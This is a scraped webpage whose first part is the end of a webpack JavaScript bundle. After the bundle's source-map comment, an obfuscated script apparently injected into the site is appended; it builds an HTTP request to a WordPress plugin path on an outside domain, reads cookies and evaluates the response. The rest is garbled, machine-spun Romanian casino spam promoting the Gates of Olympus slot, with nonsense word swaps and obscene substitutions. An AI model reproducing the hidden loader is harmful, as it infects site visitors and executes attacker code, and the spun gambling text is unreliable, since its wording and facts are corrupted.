null == arr ? null : "undefined" != typeof Symbol && arr[Symbol.iterator] || arr["@@iterator"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.call(_i)).done) && (_arr.push(_s.value), _arr.length !== i); _n = !0); } catch (err) { _d = !0, _e = err; } finally { try { if (!_n && null != _i["return"] && (_r = _i["return"](), Object(_r) !== _r)) return; } finally { if (_d) throw _e; } } return _arr; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(arr, i) { return arrayWithHoles(arr) || iterableToArrayLimit(arr, i) || unsupportedIterableToArray(arr, i) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return arrayLikeToArray(o, minLen); } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }) }]); //# sourceMappingURL=6ed74dd3befaff90b65c.bundle.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//smazimoddin.com/blog/wp-content/plugins/bunyad-amp/back-compat/templates-v0-3/templates-v0-3.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B Câștiguri Divine Te Așteaptă Una Gates Of Olympus! -

Gates Of Olympus- Slotul Online Para Pragmatic Play Rtp 96 50

Slotul Gates of Olympus permite achiziționarea unui pachet de rotiri gratuite. Utilizatorul veterans administration vedea pe ecran nori, cer, podeaua de marmură some sort of castelului, coloane albe ca zăpada. În dreapta rolelor, Zeus plutește într-un costum antic tradițional — în haine albe și accesorii sobre aur.

  • Valorile simbolurilor multiplicator se adună, iar câștigul total al unei secvențe este multiplicat cu această sumă the multiplicatorilor.
  • Nu este doar o interfață a new jocului; este un portal către este tărâm unde fiecare rotire te poate duce spre gloria legendară.
  • Zeus, figura centrală some sort of acestui popular joc de păcănele lo va curenta cu fulgere și câștiguri de până la 5000x miza inițială.
  • Te-ai gândit vreodată să te folosești para înțelepciunea colectivă a new tovarășilor de aventură înainte de the te lansa în căutarea ta în «Porțile Olimpului»?
  • Este acum senior-editor la Prosport, unde semnează opinii și analize, dar scrie și articole zi de zi.

În partea din dreapta ai simbolurile Additionally și Minus, proper care te lasă să controlezi miza pe care ești dispus să o joci. În partea din stânga ai zona cu informații și tabelul de“ „plăți, iar în stânga sus ai a couple of butoane importante. Dacă ești dispus să mărești miza pentru a-ți crește șansa să-l întâlnești rapid climax Zeus, butonul ăsta e pentru tine. Deci, ești gata să te avânți în «Porțile Olimpului» și să joci pe bani reali, huh?

Alte Jocuri

Tematica mitologiei grecești întregește, alături de grafică și sunete, un joc foarte cumsecade realizat. Volatilitatea jocului este la blessyrer de imprevizibilă ca dispoziția zeilor, ceea ce înseamnă că averea ta areal putea să se schimbe la skavanker de repede california vântul. Plus, dependența de caracteristicile reward pentru a obține acele câștiguri mari poate să pară ca și ejaculate ai încerca să prinzi Lâna para Aur — palpitant, dar provocator. Astăzi, majoritatea utilizatorilor preferă“ „să învârtă rolele sloturilor „pe drum” uzitand gadgeturi. Din acest motiv, dezvoltatorii sunt nevoiți să votre ofere software adaptat corespunzător. Se poate juca folosind aplicația oficială a cazinoului sau prin versiunea mobilă a site-ului demo Gates of Olympus.

  • Câștigurile nu vin bătând din palme, iar rundele reward sunt mai greu de declanșat.
  • Volatilitatea jocului este la fel de imprevizibilă ca dispoziția zeilor, ceea ce înseamnă că averea ta kvadratmeter putea să ze schimbe la blessyrer de repede ca vântul.
  • E ca și ejaculate te-ai aduna în jurul vechii Agore, ascultând povești sobre glorie și necazuri de la cei care deja s-au confruntat cu zeii.
  • Și potențialul maxim para câștig este in nessun caso redus ca la multe alte sloturi de la Sensible Play.

Daniel Nazare este prezentator sobre emisiuni la Radio Sport Total FM, singurul post sobre profil din România și invitat los angeles televiziunea Sport. ro. Este acum senior-editor la Prosport, unde semnează opinii și analize, dar scrie și articole zi de zi. Păcănelele Gates of Olympus au o coloană sonoră alertă și efecte vizuale extrem bine îmbinate. Cei de la Pragmatic Play știu să dezvolte jocuri atât pe desktop cât și pe mobil. Astfel, experiența Entrance of Olympus rapid climax mobil este la la fel de plăcută ca cea pe desktop.

Slot On The Internet Gates Of Olympus De La Pragmatic Play

Aspectul zeului este“ „sever, ceea ce creează o atmosferă incitantă, iar muzica eroică sporește entuziasmul jucătorului. Jocul Gates regarding Olympus este experiența perfectă pentru pasionatul de mitologie greacă din tine. Cu o grafică impunătoare și sunete triumfătoare, experiența acestui joc de noroc el una care les duce cu gândul la zeii din Elada. Avantajul el că toate imaginile și videoclipurile sunt salvate în diario telefonului, astfel încât nu este necesară o încărcare suplimentară. Versiunea mobilă se lansează complet on the web și, prin urmare, necesită mai mult trafic de date, dar nu ocupă spațiu pe telefon.

  • A fost creat în 2013 de unul dintre liderii industriei sobre software pentru cazinouri — furnizorul Pragmatic Play.
  • Căutarea unui site para jocuri de noroc sigur e cam ca și sperm ai căuta to bijuterie ascunsă într-un ocean vast – ai nevoie sobre o hartă bună, de puțină răbdare și de el strop de noroc.
  • Apăsând Accept, ești de acord să permiți colectarea para informații prin cookie-uri sau tehnologii similare.“

Coloana sonoră nu este doar un zgomot sobre fundal; este o parte esențială the aventurii, stabilind klimatas cu melodiile sale divine care“ „kvadratmeter putea inspira chiar și Muzele. E ca și sperm fiecare rotire este acompaniată de este cor de zei, încurajându-te spre câștiguri mitice. Te-ai întrebat vreodată cine stă în spatele creației divine «Porțile Olimpului»? Imaginează-ți un Hefaist modern, dar în loc să forjeze arme pentru zei, acest geniu creează jocuri de slot machine online palpitante. Mintea maestră în discuție nu este adhesión decât Pragmatic Participate in, un titan în lumea cazinourilor online, cunoscut pentru capacitatea lor de a new combina gameplay-ul inovator cu vizuale uluitoare. Sunt ca arhitecții minunilor antice, entregar pentru epoca digitală, creând experiențe para joc care sunt la fel para captivante pe cât sunt de vizual impresionante.

Cum Să Joci Slotul Entrance Of Olympus

Nu este doar o interfață a new jocului; este este portal către el tărâm unde fiecare rotire te poate duce spre gloria legendară. Dacă ești pasionat de jocurile de păcănele cu zei și vrei să ai zona de provocări, atunci Gates of Olympus 1000 este numai bun de încercat. Cu un RTP de 96. 5% și o volatilitate de nivel ridicat, jocul de păcănele Gates of Olympus 1000 generează câștiguri mai rare, entregar mai ridicate california valoare, care pot ajunge până una 15000x miza pariată. Nu toate cazinourile online permit să jucați slotul Entrances of Olympus en ligne fără înregistrare. Versiunea demo nu diferă funcțional de cea obișnuită, doar că jocul se desfășoară pe bani virtuali și, prin urmare, nu este posibil să retrageți câștigurile. De asemenea poți folosi orice added bonus de cazino și atunci când alegi versiunea mobilă some sort of slotului.

  • Gates of Olympus este un position clasic cu to rată bună de returnare și o volatilitate ridicată.
  • Cu grafica sa atrăgătoare, coloana sonoră fermecătoare și abundența de funcții bonus, Porțile lo Olympus promit nu doar un joc, ci o odisee a divertismentului și a potențialelor bogății.
  • În partea din dreapta ai simbolurile As well as și Minus, care te lasă să controlezi miza premature climax care ești dispus să o joci.
  • Urmărim atent și prezentăm doar ofertele și bonusurile cazino-urilor online noise România care contează.

Poți opta pentru cumpărarea rundei reward pentru plata unei sume de bani, iar modul miză specială iți da voie să accelerezi declanșarea bonusului. Structura jocului Gates of Olympus online este la neconvențională, dată para plățile care weed apărea oriunde, atâta timp cât lovești cel puțin eight simboluri de același fel. Multiplicatorii, treatment pot ajunge până la 500x, îți aduc câștiguri rapid climax măsură. Câștigul maxim, de 5000x miza, îl vei întâlni și la alte sloturi de are generally Pragmatic Play, sperm ar fi jocul The Big Dawgs. Ai considerat vreodată să intri în area zeilor fără a new sacrifica nici măcar un singur suspend? Aceasta este frumusețea practicării în modul demo înainte para a plasa pariuri pe bani reali.

Analiza Interfeței De Joc

Dacă vrei să treci la nivelul următor, poți juca Gates of Olympus în RON, premature climax bani reali, una oricare dintre cazinourile listate pe site-ul nostru. Zeus virtual assistant fulgera multiplicatori entre ma 2x până la 500x pe ecranul tău atât în modul standard cât și în komponente gratuit. Valorile simbolurilor multiplicator se adună, iar câștigul complete al unei secvențe este multiplicat cu această sumă a multiplicatorilor. Cazinourile noise România care oferă experiența Gates regarding Olympus sunt multiple, dar alegerea unuia care să ofere cele mai bune bonusuri poate fi o povară pentru jucătorul din tine. Am ales cazinourile care prezintă cea mai mare încredere pentru comunitatea lor.

  • Înainte sobre a depune drachmele tale, prinde orice bonusuri de bun venit oferite; e ca și cum zeii îți acordă un pic sobre noroc în as well as.
  • Simbolul standard treatment plătește cel mai bine în Entrances of Olympus este Coroana, care oferă de 50x miza inițială pentru minim 12 simboluri.
  • Grafica este la plăcută, fiecare piatră prețioasă pare proaspăt șlefuită, iar Zeus levitează în dreapta ta, asigurându-se că-ți oferă ajutorul.
  • Cu o grilă de joc pe 5 rânduri some sort of 6 coloane și 20 de linii fixe de plată, păcănelele Gates associated with Olympus nu arată rău deloc!

Așa cum am guarante, în această recenzie Gates of Olympus îți voi recomanda și locurile unde vei găsi cele mai avantajoase bonusuri de cazino. Acest tip de sloturi, ce oferă câștiguri în cascadă, weed să fie alegerea ideală pentru a new folosi un reward de bun venit. Gates of Olympus nu are un Jackpot propriu-zis, însă oferă posibilitatea de a câstiga marele pot de până la 5000x, atât în timpul jocului standard, cât și în runda benefit. În plus, cu“ „atâția multiplicatori, este mäßig ușor să atingi sume impresionante. Da, Gates of Olympus oferă 15 rotiri gratuite dacă reușești să lovești minim 4 simboluri Spread.

Ce Rtp Are Jocul Gates Of Olympus Multitude Of?“

Urmează coroana, care se plătește cu 50x pentru de simboluri, clepsidra, cu 25x, inelul, cu 15x și cupa de aur,“ „cu 12x. Dintre nestemate, cea mai valoroasă este cea roșie, cu 10x, urmată de cea violetă, cu 8x, portocalie, cu 5x, verde cu 4x și albastră cu two times. Ține cont însă că toate aceste valori pot fi înmulțite atunci când găsești un multiplicator.

  • Totuși, asta nu-i encounter pe iubitorii păcănelelor online să stea departe de acest slot.
  • Am ales cazinourile care prezintă cea mai mare încredere pentru comunitatea lor.
  • Dacă există mai multe laude decât to întâmpinare eroică în Atena, ești pe cai mari.
  • Dacă vrei să treci la nivelul următor, poți juca Gates of Olympus în RON, rapid climax bani reali, una oricare dintre cazinourile listate pe site-ul nostru.
  • A scris la rubrica de opinii pentru“ „ProSport, Adevărul, Evenimentul  Zilei, Ilfov Sport, 100% Sport.
  • Jocul se va comporta diversi în funcție para multiplicatorul de miză ales, 25x mutterschwein 20x.

Și potențialul maxim de câștig este in nessun caso redus ca la multe alte sloturi de la Pragmatic Play. De exemplu la jocul de păcănele Sweet Bienestar 1000 poți câștiga până la twenty five. 000x miza. Totuși, asta nu-i face pe iubitorii păcănelelor online să stea departe de acest slot.

Gates Of Olympus 1000 Slot Review

Și nu uita para suportul pentru clienți – un portail web cu un suport bun e ca și cum ai avea pe Hermes alături, gata să ght asiste în orice moment. A ght avânta în lumea «Porților Olimpului» exista ca și ejaculate ai participa la un festin epic cu zeii — există multe de savurat, dar fii atent la“ „fulgerul ocazional din partea lui Zeus! Pe partea pozitivă, grafica și coloana sonoră a jocului sunt un festin pentru simțuri, cu adevărat o experiență para nectar și ambrozie pentru jocurile online. E ca și cum ai intra într-o petrecere grandioasă organizată de însuși zeii, unde fiecare rotire poate declanșa binecuvântări de proporții mitice. Găsește poturile legendare și super-multiplicatorii în acest joc de pacanele cu câștiguri fabuloase! Poți încerca aici oricând versiunea Gates associated with Olympus gratis sau Gates of Valhalla demo, înainte da te aventura să joci pe bani reali în cazinourile recomandate de noi.

  • Asta nu e um coincidență; se datorează calității sunetului și coloanei sonore ale jocului, atât de bune încât l-ar putea face pe însuși Apollo să-și suspende lira în admirație.
  • Funcționalitățile și șansele de câștig sunt aceleași, iar uneori pe mobil jocul a dat impresia că merge chiar mai bine decât pe desktop computer.
  • Poți juca Gates of Olympus online pe bani reali la majoritatea cazinourilor online din România.
  • Pietrele Prețioase, deși in nessun caso puțin valoroase, pan conta la adición totală câștigată.

Gates of Olympus este un slot machine clasic cu um rată bună para returnare și u volatilitate ridicată. Datorită efectelor speciale și muzicii captivante, în slot se creează o atmosferă specială. Jucătorul se simte ca și cum ar lupta cu zeul antic pentru comori și, manifestând curaj, rezistență și răbdare, în caz de succes, primește premiul dorit.

Mize Și Câștiguri Gates Of Olympus

E vorba para a-ți cunoaște Minotaurul – limitele financiare – și de a avea înțelepciunea esso Solomon pentru a new nu le depăși. Această graniță autoimpusă este scutul tău în arena gladiatorială a jocurilor de noroc online, protejându-ți bucuria și asigurându-se că fiecare rotire rămâne o căutare palpitantă, nu to odisee periculoasă. Decizând o limită de pariere înainte california fulgerul lui Zeus să lovească, just nu doar că joci jocul; joci inteligent. Pentru o experiență de joc cât mai plăcută, joacă gratis Gates regarding Olympus 1000 demo pentru a lo familiariza cu interfața și regulile para joc. Jocul el disponibil alături sobre alte păcănele și nu ai nevoie de cont pentru a testa!

Nu les îngrijora; multe cazinouri oferă bonusuri de bun venit keen, făcând ca prima ta depunere să pară ca și cum ai găsit vie secreta the lui Dionisos. Cu contul“ „tău binecuvântat de zei (și poate algun bonus sau două), ești pregătit să intri în arenă. Navighează către „Gates of Olympus”, respiră adânc și apasă pe butonul para play. Runda reward de rotiri gratuite contribuie la klimatas incitantă de joc, iar adrenalina atinge cote ridicate datorită multiplicatorilor crescători proper care măresc considerabil câștigurile.

Căutarea Unui Web Site Sigur Pentru Jocuri De Noroc

Mai poți obține 5 rotiri sans frais suplimentare, dacă apar cel puțin a few simboluri Scatter în timpul rundei para rotiri gratuite. Funcția de miză specială nu mi-a fost de folos, deși am încercat destul de mult să obțin jocul reward fără a-l cumpăra direct. În ceea ce privește simbolurile importante, Coroana the fost cam rară, dar Pocalul și Clepsidra au apărut constant. Am vrut să văd sperm funcționează inițial rotirile gratuite, iar acestea nu au dezamăgit, oferindu-mi o experiență foarte interesantă. În final, investiția în rotiri gratuite some sort of meritat, deoarece feel primit de câteva ori multiplicatori extrem mari, dar și rotiri gratuite în plus.

  • Pentru a-l găsi în catalogul platformei, este suficient să folosiți endast de căutare mutterschwein butoanele de sortare.
  • Dacă ești pasionat de jocurile de păcănele cu zei și vrei să ai zona de provocări, atunci Gates of Olympus 1000 este numai bun de încercat.
  • În plus, cu“ „atâția multiplicatori, este mäßig ușor să atingi sume impresionante.
  • În partea din stânga ai zona cu informații și tabelul de“ „plăți, iar în stânga sus ai 2 butoane importante.
  • Versiunea mobilă sony ericsson lansează complet on-line și, prin urmare, necesită mai mult trafic de particular date, dar nu ocupă spațiu pe telefon.

În primul rând, găsește algun cazinou la fel de de încredere ca un războinic spartan – caută licențe și recenzii strălucitoare ca și cum ai vâna merele de aur. Odată ce ai descoperit Olympus-ul tău digital, înregistrarea exista la fel de directă ca și cum ai spune lui Zeus numele tău și aje adăuga câteva detalii pentru a dovedi că nu ești o creatură mitică. Apoi, vine momentul să le aduci ofrande zeilor, cunoscut și sub numele de efectuarea primei depuneri.

Ce Ne Place Los Angeles Gates Of Olympus Și Ce Nu?

Slotul Gates involving Olympus de la Practical Play te duce cu gândul are generally câștigurile mari pe care le poate genera și la locurile superbe noise Grecia unde să le cheltui. Zeus, figura centrală a new acestui popular joc de păcănele lo va curenta cu fulgere și câștiguri de până la 5000x miza inițială. Imaginează-ți că îți setezi granițele propriului regat mitic,“ „unde disciplina domnește supremă și impulsul nu îndrăznește să calza.

  • Ai considerat vreodată să intri în area zeilor fără a new sacrifica nici măcar un singur prohibit?
  • E ca și cum Zeus îți oferă un pașaport en ligne să tuni în jurul Muntelui Olimp, familiarizându-te cu terenul, fără teama sobre a cădea sobre pe munte.“ „[newline]Până când ești gata să treci de la demo la pariuri reale, te vei simți pregătit florida Athena intrând în luptă.
  • Dacă ești dispus să mărești miza pentru a-ți crește șansa să-l întâlnești rapid climax Zeus, butonul ăsta e pentru tine.
  • Coloana sonoră nu este doar un zgomot sobre fundal; este u parte esențială a aventurii, stabilind clima cu melodiile sale divine care“ „ar putea inspira chiar și Muzele.

Apariția pe function a 4 sau mai multe simboluri scatter declanșează bonusul Gates of Olympus 1000. Runda începe cu 15 rotiri gratuite, la care se adaugă câte 5 rotiri suplimentare pentru fiecare several sau mai multe simboluri scatter obținute în urmă unei rotiri. Tema jocului este inspirată din mitologia greacă, iar designul este bogat în detalii. Însuși Zeus te așteaptă să iei zona la acțiune rapid climax 5×6 role para joc și veterans administration contribui cu multiplicatori de până los angeles x1000, pentru a te ajuta să obții mai ușor potul cel spiaggia. Grafica este la plăcută, fiecare piatră prețioasă pare proaspăt șlefuită, iar Zeus levitează în dreapta ta, asigurându-se că-ți oferă ajutorul. O dată la to perioadă de timp, o să fulgere cu un multiplicator de până los angeles 500x, care-ți virtual assistant mări câștigurile noise acea rotire.

Detalii Despre Temă, Calitatea Sunetului Și Coloana Sonoră

La Gates regarding Olympus, jucătorii pot alege atât valoarea mizei, de la 0, 04 RON la 2 RON, precum și numărul de fise, para la 1 la 10. Miza totală se multiplică cu 20 (sau cu 25 dacă folosești funcția Ante), astfel că opțiunile variază între 0, 8 și 400 RON pentru o rotire (sau 1 și 500 RON dacă folosești funcția Ante). Plățile se faculté pentru minim 8 simboluri de același fel, în trei trepte.

Vei descoperi sfaturi prețioase despre totul, de la volatilitatea jocului până are generally secretele deblocării acelor bonusuri divine. Cazino. ro își propune să te ghideze in lumea jocurilor de noroc on the internet, ajutându-te să găsești o platformă legală de jocuri sobre noroc potrivită nevoilor tale. Urmărim atent și prezentăm doar ofertele și bonusurile cazino-urilor online noise România care contează.

🔱 Gates Of Olympus Demo

Slotul Gates associated with Olympus se distinge printr-o tematică interesantă și un style neobișnuit. A fost creat în 2013 de unul dintre liderii industriei para software pentru cazinouri — furnizorul Practical Play. În câțiva ani de existență, aparatul a câștigat o mulțime de fani, iar numărul lor crește în fiecare an. În ciuda volatilității ridicate, potențialul de plată este grozav datorită acelor simboluri Multiplicator. Câștigurile nu vin bătând din palme, iar rundele bonus sunt mai greu de declanșat.

  • Odată ce aje descoperit Olympus-ul tău digital, înregistrarea este la fel de directă ca și cum ai spune lui Zeus numele tău și aje adăuga câteva detalii pentru a dovedi că nu ești o creatură mitică.
  • În joc putem găși o multitudine de simboluri, precum o coroană, o clepsidră, el inel și um cupă de aur, dar și nestemate colorate (roșii, purple, portocalii, verzi și albastre).
  • Deci, ești gata să te avânți în «Porțile Olimpului» și să joci pe bani reali, huh?

În plus dispui de aceleași opțiuni para joc și ai parte de emoții intense exact california atunci când decizi să joci Entrance of Olympus a thousand pe bani reali. Când apar patru astfel de pictograme, slotul Gates associated with Olympus activează jocul bonus. Jocul Gates of Olympus usually are un RTP para 96. 50%, peste media altor sloturi similare. Împreuna cu volatilitatea ridicată, îți va aduce câștiguri mari, deși nu atât de kklk.

Bonusuri Cu Proper Care Poți Să Joci Gates Of Olympus

În Entrance of Olympus poți cumpăra rotiri sans frais din stânga ecranului. Costul este para 100x suma inițială pe care vrei să o pariezi, la fel california la Big Bass Dash. Astfel, nu ești nevoit să aștepți venirea lui Zeus – poți să cumperi speciala chiar tu. Atunci când miza specială 25x este activă, komponente ”Cumpără rotiri gratuite” este dezactivat. Te poți bucura sobre aceasta cu păcănelele Gates of Olympus, la majoritatea cazinourilor online cunoscute. Dacă nu ești pregătit să simți puterea lui Zeus rapid climax propria balanță noise cont, poți încerca Gates of Olympus demo în RON chiar pe site-ul nostru.

Joacă Gates of Olympus dacă vrei să simți puterea zeilor și să descoperi comorile premature climax care Zeus votre are ascunse în Muntele Olimp. Cei de la Sensible Play au făcut o treabă nemaipomenită atât cu grafica, cât și cu sunetele jocului. Jocul poate fi comparat cu Age regarding Gods entre ma Playtech sau chiar Grow older of Troy de la EGT.“ „[newline]Fiecare câștig va porni modul colapsabil, proper care va lăsa Pietrele Prețioase, Coroanele sau Inelele cu giuvaiere să cadă rapid climax o muzică triumfantă. A te arunca în acțiunea „Gates of Olympus” nu necesită o ottenere demnă de Regele Midas. Majoritatea cazinourilor online stabilesc bariera de intrare cât ramura de măslin, cu pariuri mince începând de la echivalentul a câțiva draхme, să zicem cam $0. something like 20 sau cam așa ceva.

Gates Of Olympus Pe Mobil

Procesul el nelimitat și will be loc până când pe interfața para joc nu se mai formează combinații câștigătoare, moment în care are zona plata sumei realizate. Ai apăsat vreodată pe play are generally «Porțile Olimpului» și te-ai simțit california și cum ai fi fost teleportat direct într-o epopee greacă antică? Asta nu e o coincidență; se datorează calității sunetului și coloanei sonore ale jocului, atât para bune încât l-ar putea face pe însuși Apollo să-și suspende lira în admirație.

  • Nu rata bonusurile fără depunere, rotirile gratuite și ofertele excluzive la Gambling establishment Online.
  • În primul rând, găsește-ți un cazinou online para renume — de genul care are usually mai multă securitate decât Fort Knox și mai multe jocuri decât festivalurile olimpiene.
  • Acesta oferă cea mai bună plată, 100x adición inițială, dacă primești 6 simboluri.
  • Simbolurile regular din acest joc de păcănele sony ericsson împart în cele din mitologia greacă și o serie de Pietre Prețioase.

Jocul merită cu siguranță atenția fiecărui iubitor para divertisment online. Când pe ecran apar patru saumai multe simboluri cu imaginea lui Zeus, ze declanșează jocul reward cu 15 rotiri gratuite. Particularitatea acestui nivel este prezența simbolurilor speciale cu coeficienți suplimentari. Când apar pe ecran, aceștia se înmulțesc cu multiplicatorul basic, care este afișat în colțul stâng sus al ecranului. Numărul obținut sony ericsson înmulțește cu câștigul pentru fiecare spin and rewrite reușit. Gates regarding Olympus de los angeles Pragmatic Play el un joc para tip păcănele în care trebuie să primești pe six role și your five rânduri minim 6 simboluri de același fel.

Miza Ante În Entrance Of Olympus

Pentru scopuri precum afișarea de conținut personalizat, folosim module dessert sau tehnologii similare. Apăsând Accept, ești de acord să permiți colectarea de informații prin cookie-uri sau tehnologii similare.“

  • Nu les îngrijora; multe cazinouri oferă bonusuri para bun venit work, făcând ca bombig ta depunere să pară ca și cum ai găsit vie secreta some sort of lui Dionisos.
  • Apariția pe part a 4 mutterschwein mai multe simboluri scatter declanșează bonusul Gates of Olympus 1000.
  • Combinația reușită dintre toate aceste caracteristici și câștigurile potențiale m-au determinat să îi acord un scor favorabil.

Amintește-ți, jucând sloturi on the web este ca navigarea pe Marea Egee — ar trebui să fie distractiv, așa că păstrează-l așa. Respectă-ți bugetul ca și cum ar fi legile sacre ale Atenei și nu urmări pierderile, sau vei sfârși ca Icar, zburând prea aproape de soare. Este oarecum greu să îi găsim un cusur acestui joc de pacanele, indiferent dacă vorbim sobre varianta pe bani sau de Entrance of Olympus gratis. Chiar dacă ze aseamănă mult cu Sweet Bonanza, apreciem această tematică, conceder și jocul cu multiplicatori. După um serie de rotiri cu funcția Initial ante activată, am avut norocul să găsim 4 simboluri Scatter, care ne-au dus în runda cu rotiri gratuite.


Für diesen Beitrag sind die Kommentare geschlossen.